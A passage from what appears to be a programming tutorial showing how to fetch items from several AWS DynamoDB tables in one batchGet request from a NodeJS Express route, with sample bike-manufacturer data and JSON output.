      "Item":{
         "name":"Fuji",
         "best_bike":"Roubaix3.0"
      }
   },
   {
      "Item":{
         "model_name":"Roubaix3.0",
         "years":[ 2010, 2012 ]
      }
   }
]

Note how the items are returned in an array, and in the order of the array of Promises.  One gotcha with Promise.all() is that it’s ‘all’ or nothing, and you’ll need to ‘catch’ if any one of the promises fail.

DynamoDB BatchGet

Using the AWS SDK to perform more of the data operations on the Cloud side is always a good idea.  Instead of iterating over many keys, include all the keys in a single request.  Note the form of the params object allowing us to query multiple tables.

// '/manufacturers' (batch get)
router.get('/manufacturers', function(req, res, next) {
 var manufTableName = "d_bike_manufacturers";
 var manufacturers_array = req.query.names_str.split(",");
 var bikeTableName = "d_bike_models";
 var bikes_array = req.query.bikes_str.split(",");
 
 var params = { RequestItems: {} };
 params.RequestItems[manufTableName] = {Keys: []};
 for (manufacturer_name of manufacturers_array) {
   params.RequestItems[manufTableName].Keys.push( 
     { name: manufacturer_name } );
 }
 params.RequestItems[bikeTableName] = {Keys: []};
 for (bike_name of bikes_array) {
   params.RequestItems[bikeTableName].Keys.push( 
     { model_name: bike_name } );
 }
 console.log(JSON.stringify(params,null,2));
 
 dynamoDB.batchGet(params).promise().then( function(obj) {
   res.render('index', 
     { description: 'DynamoDB BatchGet', jay_son: obj }
   );
 });
});

Output from console.log(JSON.stringify(params,null,2));

{
   "RequestItems":{
      "d_bike_manufacturers":{
         "Keys":[ { "name":"Fuji" }, { "name":"Specialized" } ]
      },
      "d_bike_models":{
         "Keys":[ { "model_name":"Roubaix3.0" }, 
                  { "model_name":"StumpjumperM2" } 
                ]
      }
   }
}

http://localhost:3000/manufacturers?names_str=Fuji,Specialized&bikes_str=Roubaix3.0,StumpjumperM2

DynamoDB BatchGet
{
  "Responses": {
    "d_bike_models": [
      {
        "model_name": "StumpjumperM2",
        "years": [
          1993,
          1994,
          1995,
          1996,
          1997,
          1998,
          2000
        ]
      },
      {
        "model_name": "Roubaix3.0",
        "years": [
          2010,
          2012
        ]
      }
    ],
    "d_bike_manufacturers": [
      {
        "name": "Specialized",
        "best_bike": "StumpjumperM2"
      },
      {
        "name": "Fuji",
        "best_bike": "Roubaix3.0"
      }
    ]
  },
  "UnprocessedKeys": {}
}

Summary

A little JSON can go a long way especially when building an MVP, or dealing with unstructured data. IMHO NodeJS + DynamoDB is a very powerful pairing to facilitate this data in your AWS premise.

Happy coding.